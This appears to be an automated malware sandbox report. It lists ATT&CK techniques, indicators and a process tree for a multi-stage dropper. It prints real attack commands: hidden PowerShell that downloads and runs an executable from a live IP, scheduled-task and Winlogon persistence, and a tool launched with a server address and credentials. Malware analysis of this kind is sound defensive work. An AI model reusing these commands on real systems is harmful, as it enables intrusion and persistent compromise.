Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8p5Lrev.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 9 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4552	PING.EXE
2140	PING.EXE
5044	cmd.exe
1536	PING.EXE
21664	Process not Found
4952	cmd.exe
3828	cmd.exe
1440	PING.EXE
924	PING.EXE

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 4 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
43984	Process not Found
44464	Process not Found
45348	Process not Found
45568	Process not Found

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	Process not Found
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	Process not Found

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
2916	timeout.exe

Kills process with taskkill 6 IoCs

defense_evasion

pid	Process
4832	taskkill.exe
113444	Process not Found
114928	Process not Found
115516	Process not Found
114024	Process not Found
115968	Process not Found

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3449935180-2903586757-2462874082-1000_Classes\Local Settings	1FzvmKAYy9.exe

Runs ping.exe 1 TTPs 6 IoCs

Remote System Discovery

T1018

pid	Process
1536	PING.EXE
21664	Process not Found
4552	PING.EXE
1440	PING.EXE
924	PING.EXE
2140	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3652	schtasks.exe
119956	Process not Found
1128	schtasks.exe
1716	schtasks.exe
224	schtasks.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	61	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	32	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3616	1Z46i3.exe
3616	1Z46i3.exe
1840	rapes.exe
1840	rapes.exe
3012	2Q0510.exe
3012	2Q0510.exe
3012	2Q0510.exe
3012	2Q0510.exe
3012	2Q0510.exe
3012	2Q0510.exe
1340	3B05c.exe
1340	3B05c.exe
3628	50JLMSG0XVA8KYMHWH1KGJ8044EV1.exe
3628	50JLMSG0XVA8KYMHWH1KGJ8044EV1.exe
1492	rapes.exe
1492	rapes.exe
464	HHPgDSI.exe
464	HHPgDSI.exe
464	HHPgDSI.exe
464	HHPgDSI.exe
4780	cuFIzyH.exe
4780	cuFIzyH.exe
4780	cuFIzyH.exe
4780	cuFIzyH.exe
4780	cuFIzyH.exe
4780	cuFIzyH.exe
3368	P2SXMuh.exe
3368	P2SXMuh.exe
3368	P2SXMuh.exe
3368	P2SXMuh.exe
2140	powershell.exe
2140	powershell.exe
3540	powershell.exe
3540	powershell.exe
3244	powershell.exe
3244	powershell.exe
1908	powershell.exe
1908	powershell.exe
1296	powershell.exe
1296	powershell.exe
1780	powershell.exe
1780	powershell.exe
1948	6z1l5Yn.exe
1948	6z1l5Yn.exe
4672	TempQJXDMUAK1VQDMVKEMI6MUDUJDKL2NXLN.EXE
4672	TempQJXDMUAK1VQDMVKEMI6MUDUJDKL2NXLN.EXE
1948	6z1l5Yn.exe
1948	6z1l5Yn.exe
1948	6z1l5Yn.exe
1948	6z1l5Yn.exe
1948	6z1l5Yn.exe
1948	6z1l5Yn.exe
1948	6z1l5Yn.exe
1948	6z1l5Yn.exe
1948	6z1l5Yn.exe
1948	6z1l5Yn.exe
1948	6z1l5Yn.exe
1948	6z1l5Yn.exe
1948	6z1l5Yn.exe
1948	6z1l5Yn.exe
1948	6z1l5Yn.exe
1948	6z1l5Yn.exe
1948	6z1l5Yn.exe
1948	6z1l5Yn.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
70412	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	2140	powershell.exe
Token: SeDebugPrivilege	3540	powershell.exe
Token: SeDebugPrivilege	3244	powershell.exe
Token: SeDebugPrivilege	1908	powershell.exe
Token: SeDebugPrivilege	1296	powershell.exe
Token: SeDebugPrivilege	1780	powershell.exe
Token: SeDebugPrivilege	1948	6z1l5Yn.exe
Token: SeDebugPrivilege	4912	1FzvmKAYy9.exe
Token: SeDebugPrivilege	1660	winlogon.exe
Token: SeDebugPrivilege	2852	SSD.exe
Token: SeDebugPrivilege	4976	AJjLej3NgS.exe
Token: SeDebugPrivilege	1440	6z1l5Yn.exe
Token: SeDebugPrivilege	4832	taskkill.exe
Token: SeDebugPrivilege	41376	Process not Found
Token: SeDebugPrivilege	42996	Process not Found
Token: SeDebugPrivilege	44384	Process not Found
Token: SeDebugPrivilege	96836	Process not Found
Token: SeDebugPrivilege	97768	Process not Found

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
3616	1Z46i3.exe
2364	fc63c6fe6e.exe
2364	fc63c6fe6e.exe
2364	fc63c6fe6e.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
2364	fc63c6fe6e.exe
2364	fc63c6fe6e.exe
2364	fc63c6fe6e.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
68840	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4356 wrote to memory of 4548	4356	download.php.exe	80
PID 4356 wrote to memory of 4548	4356	download.php.exe	80
PID 4356 wrote to memory of 4548	4356	download.php.exe	80
PID 4548 wrote to memory of 3616	4548	G2C28.exe	81
PID 4548 wrote to memory of 3616	4548	G2C28.exe	81
PID 4548 wrote to memory of 3616	4548	G2C28.exe	81
PID 3616 wrote to memory of 1840	3616	1Z46i3.exe	83
PID 3616 wrote to memory of 1840	3616	1Z46i3.exe	83
PID 3616 wrote to memory of 1840	3616	1Z46i3.exe	83
PID 4548 wrote to memory of 3012	4548	G2C28.exe	84
PID 4548 wrote to memory of 3012	4548	G2C28.exe	84
PID 4548 wrote to memory of 3012	4548	G2C28.exe	84
PID 3012 wrote to memory of 3628	3012	2Q0510.exe	86
PID 3012 wrote to memory of 3628	3012	2Q0510.exe	86
PID 3012 wrote to memory of 3628	3012	2Q0510.exe	86
PID 4356 wrote to memory of 1340	4356	download.php.exe	87
PID 4356 wrote to memory of 1340	4356	download.php.exe	87
PID 4356 wrote to memory of 1340	4356	download.php.exe	87
PID 1840 wrote to memory of 464	1840	rapes.exe	89
PID 1840 wrote to memory of 464	1840	rapes.exe	89
PID 1840 wrote to memory of 464	1840	rapes.exe	89
PID 1840 wrote to memory of 4780	1840	rapes.exe	90
PID 1840 wrote to memory of 4780	1840	rapes.exe	90
PID 1840 wrote to memory of 4780	1840	rapes.exe	90
PID 1840 wrote to memory of 3348	1840	rapes.exe	91
PID 1840 wrote to memory of 3348	1840	rapes.exe	91
PID 1840 wrote to memory of 3348	1840	rapes.exe	91
PID 3348 wrote to memory of 3368	3348	P2SXMuh.exe	93
PID 3348 wrote to memory of 3368	3348	P2SXMuh.exe	93
PID 3348 wrote to memory of 3368	3348	P2SXMuh.exe	93
PID 3348 wrote to memory of 3368	3348	P2SXMuh.exe	93
PID 3348 wrote to memory of 3368	3348	P2SXMuh.exe	93
PID 3348 wrote to memory of 3368	3348	P2SXMuh.exe	93
PID 3348 wrote to memory of 3368	3348	P2SXMuh.exe	93
PID 3348 wrote to memory of 3368	3348	P2SXMuh.exe	93
PID 3348 wrote to memory of 3368	3348	P2SXMuh.exe	93
PID 1840 wrote to memory of 4080	1840	rapes.exe	94
PID 1840 wrote to memory of 4080	1840	rapes.exe	94
PID 4080 wrote to memory of 4084	4080	0uzaP1a.exe	96
PID 4080 wrote to memory of 4084	4080	0uzaP1a.exe	96
PID 4084 wrote to memory of 1128	4084	wscript.exe	97
PID 4084 wrote to memory of 1128	4084	wscript.exe	97
PID 4084 wrote to memory of 2964	4084	wscript.exe	99
PID 4084 wrote to memory of 2964	4084	wscript.exe	99
PID 2964 wrote to memory of 1012	2964	Security Protection Windows.pif	101
PID 2964 wrote to memory of 1012	2964	Security Protection Windows.pif	101
PID 1012 wrote to memory of 3212	1012	cmd.exe	102
PID 1012 wrote to memory of 3212	1012	cmd.exe	102
PID 1012 wrote to memory of 2140	1012	cmd.exe	103
PID 1012 wrote to memory of 2140	1012	cmd.exe	103
PID 1840 wrote to memory of 2364	1840	rapes.exe	104
PID 1840 wrote to memory of 2364	1840	rapes.exe	104
PID 1840 wrote to memory of 2364	1840	rapes.exe	104
PID 2364 wrote to memory of 1236	2364	fc63c6fe6e.exe	105
PID 2364 wrote to memory of 1236	2364	fc63c6fe6e.exe	105
PID 2364 wrote to memory of 1236	2364	fc63c6fe6e.exe	105
PID 2364 wrote to memory of 4552	2364	fc63c6fe6e.exe	106
PID 2364 wrote to memory of 4552	2364	fc63c6fe6e.exe	106
PID 2364 wrote to memory of 4552	2364	fc63c6fe6e.exe	106
PID 1236 wrote to memory of 1716	1236	cmd.exe	108
PID 1236 wrote to memory of 1716	1236	cmd.exe	108
PID 1236 wrote to memory of 1716	1236	cmd.exe	108
PID 4552 wrote to memory of 3540	4552	mshta.exe	109
PID 4552 wrote to memory of 3540	4552	mshta.exe	109

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3449935180-2903586757-2462874082-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Process not Found

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3449935180-2903586757-2462874082-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Process not Found

C:\Users\Admin\AppData\Local\Temp\download.php.exe
"C:\Users\Admin\AppData\Local\Temp\download.php.exe"
1⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4356
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\G2C28.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\G2C28.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4548
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Z46i3.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Z46i3.exe
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:3616
  - - C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
      "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Downloads MZ/PE file
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Adds Run key to start application
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1840
    - - C:\Users\Admin\AppData\Local\Temp\10148430101\HHPgDSI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10148430101\HHPgDSI.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:464
    - - C:\Users\Admin\AppData\Local\Temp\10155390101\cuFIzyH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10155390101\cuFIzyH.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:4780
    - - C:\Users\Admin\AppData\Local\Temp\10163520101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10163520101\P2SXMuh.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:3348
      - C:\Users\Admin\AppData\Local\Temp\10163520101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10163520101\P2SXMuh.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3368
    - - C:\Users\Admin\AppData\Local\Temp\10166360101\0uzaP1a.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10166360101\0uzaP1a.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4080
      - C:\Windows\System32\wscript.exe
        
        "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\pack82.vbe"
        6⤵
        Blocklisted process makes network request
        Downloads MZ/PE file
        Suspicious use of WriteProcessMemory
        
        PID:4084
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /ru system /tn Microsoft\Windows\Shell\WindowsObjectChecking /sc onstart /tr "C:\Users\Admin\AppData\Roaming\B5C92FE115B63B7B042F878245E396F7\4D88B74D6EA8224B937A9EE46DF70B01.vbe" /f /rl highest
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1128
        
        C:\Users\Admin\AppData\Local\Temp\System.{BB06C0E4-D293-4f75-8A90-CB05B6477EEE}\Security Protection Windows.pif
        
        "C:\Users\Admin\AppData\Local\Temp\System.{BB06C0E4-D293-4f75-8A90-CB05B6477EEE}\Security Protection Windows.pif" 95.168.166.227:8082:admin:12r3sa6qf9
        7⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2964
        
        C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c OpenCL.pif -c --continue save.txt --keyspace 00000000000000000000000000000000000000000000001CBE786D433F128000:00000000000000000000000000000000000000000000001CBE7870E691A6BFFF -b 0 -t 0 -p 0 19vkiEajfhuZ8bs8Zu2jgmC6oqZbWqhxhG 2>&1 | powershell -Command "$input | Select-Object -Last 9 | Add-Content keyc.txt"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1012
        
        C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\OpenCL.pif
        
        OpenCL.pif -c --continue save.txt --keyspace 00000000000000000000000000000000000000000000001CBE786D433F128000:00000000000000000000000000000000000000000000001CBE7870E691A6BFFF -b 0 -t 0 -p 0 19vkiEajfhuZ8bs8Zu2jgmC6oqZbWqhxhG
        9⤵
        Executes dropped EXE
        
        PID:3212
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$input | Select-Object -Last 9 | Add-Content keyc.txt"
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2140
    - - C:\Users\Admin\AppData\Local\Temp\10167640101\fc63c6fe6e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10167640101\fc63c6fe6e.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of WriteProcessMemory
        
        PID:2364
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn yZlfDmaCXdL /tr "mshta C:\Users\Admin\AppData\Local\Temp\Azrbm3U70.hta" /sc minute /mo 25 /ru "Admin" /f
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1236
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn yZlfDmaCXdL /tr "mshta C:\Users\Admin\AppData\Local\Temp\Azrbm3U70.hta" /sc minute /mo 25 /ru "Admin" /f
        7⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:1716
      - C:\Windows\SysWOW64\mshta.exe
        
        mshta C:\Users\Admin\AppData\Local\Temp\Azrbm3U70.hta
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4552
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'QJXDMUAK1VQDMVKEMI6MUDUJDKL2NXLN.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        7⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3540
        
        C:\Users\Admin\AppData\Local\TempQJXDMUAK1VQDMVKEMI6MUDUJDKL2NXLN.EXE
        
        "C:\Users\Admin\AppData\Local\TempQJXDMUAK1VQDMVKEMI6MUDUJDKL2NXLN.EXE"
        8⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        
        PID:4672
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\10167650121\am_no.cmd" "
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4232
      - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 2
        6⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:2916
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
        6⤵
        
        PID:4916
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3244
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2480
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1908
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:740
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1296
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "co6UYma3kIO" /tr "mshta \"C:\Temp\b0d9VlSEC.hta\"" /sc minute /mo 25 /ru "Admin" /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:224
      - C:\Windows\SysWOW64\mshta.exe
        
        mshta "C:\Temp\b0d9VlSEC.hta"
        6⤵
        
        PID:4316
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        7⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1780
        
        C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
        8⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        
        PID:4004
    - - C:\Users\Admin\AppData\Local\Temp\10168050101\6z1l5Yn.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168050101\6z1l5Yn.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1948
      - C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c ping 127.0.0.1 -n 6 > nul && REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SSD.exe,"
        6⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:4952
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 6
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4552
        
        C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SSD.exe,"
        7⤵
        Modifies WinLogon for persistence
        System Location Discovery: System Language Discovery
        
        PID:3952
      - C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c ping 127.0.0.1 -n 18 > nul && copy "C:\Users\Admin\AppData\Local\Temp\10168050101\6z1l5Yn.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SSD.exe" && ping 127.0.0.1 -n 18 > nul && "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SSD.exe"
        6⤵
        Drops startup file
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:3828
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 18
        7⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1440
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 18
        7⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2140
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SSD.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SSD.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:2852
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        8⤵
        
        PID:1272
    - - C:\Users\Admin\AppData\Local\Temp\10168070101\8p5Lrev.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168070101\8p5Lrev.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:2852
      - C:\Users\Admin\AppData\Local\Temp\10168070101\8p5Lrev.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168070101\8p5Lrev.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3056
        
        C:\Users\Admin\AppData\Roaming\I4LJuVm5zF.exe
        
        "C:\Users\Admin\AppData\Roaming\I4LJuVm5zF.exe"
        7⤵
        Executes dropped EXE
        
        PID:392
        
        C:\Users\Admin\AppData\Roaming\1FzvmKAYy9.exe
        
        "C:\Users\Admin\AppData\Roaming\1FzvmKAYy9.exe"
        7⤵
        Executes dropped EXE
        Drops file in Program Files directory
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        
        PID:4912
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\M5cHE2XyDI.bat"
        8⤵
        
        PID:1344
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        9⤵
        
        PID:1484
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        9⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:924
        
        C:\Recovery\WindowsRE\winlogon.exe
        
        "C:\Recovery\WindowsRE\winlogon.exe"
        9⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1660
    - - C:\Users\Admin\AppData\Local\Temp\10168120101\311d2f366d.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168120101\311d2f366d.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:1220
      - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
        
        "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
        6⤵
        Downloads MZ/PE file
        System Location Discovery: System Language Discovery
        
        PID:4828
    - - C:\Users\Admin\AppData\Local\Temp\10168130101\41c0ba3166.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168130101\41c0ba3166.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:5040
      - C:\Users\Admin\AppData\Local\Temp\10168130101\41c0ba3166.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168130101\41c0ba3166.exe"
        6⤵
        Executes dropped EXE
        
        PID:560
      - C:\Users\Admin\AppData\Local\Temp\10168130101\41c0ba3166.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168130101\41c0ba3166.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4916
      - C:\Users\Admin\AppData\Local\Temp\10168130101\41c0ba3166.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168130101\41c0ba3166.exe"
        6⤵
        Executes dropped EXE
        
        PID:4896
      - C:\Users\Admin\AppData\Local\Temp\10168130101\41c0ba3166.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168130101\41c0ba3166.exe"
        6⤵
        Executes dropped EXE
        
        PID:3548
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5040 -s 816
        6⤵
        Program crash
        
        PID:3372
    - - C:\Users\Admin\AppData\Local\Temp\10168140101\8p5Lrev.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168140101\8p5Lrev.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:1232
      - C:\Users\Admin\AppData\Local\Temp\10168140101\8p5Lrev.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168140101\8p5Lrev.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:932
        
        C:\Users\Admin\AppData\Roaming\SzfobsaXM4.exe
        
        "C:\Users\Admin\AppData\Roaming\SzfobsaXM4.exe"
        7⤵
        Executes dropped EXE
        
        PID:1340
        
        C:\Users\Admin\AppData\Roaming\AJjLej3NgS.exe
        
        "C:\Users\Admin\AppData\Roaming\AJjLej3NgS.exe"
        7⤵
        Executes dropped EXE
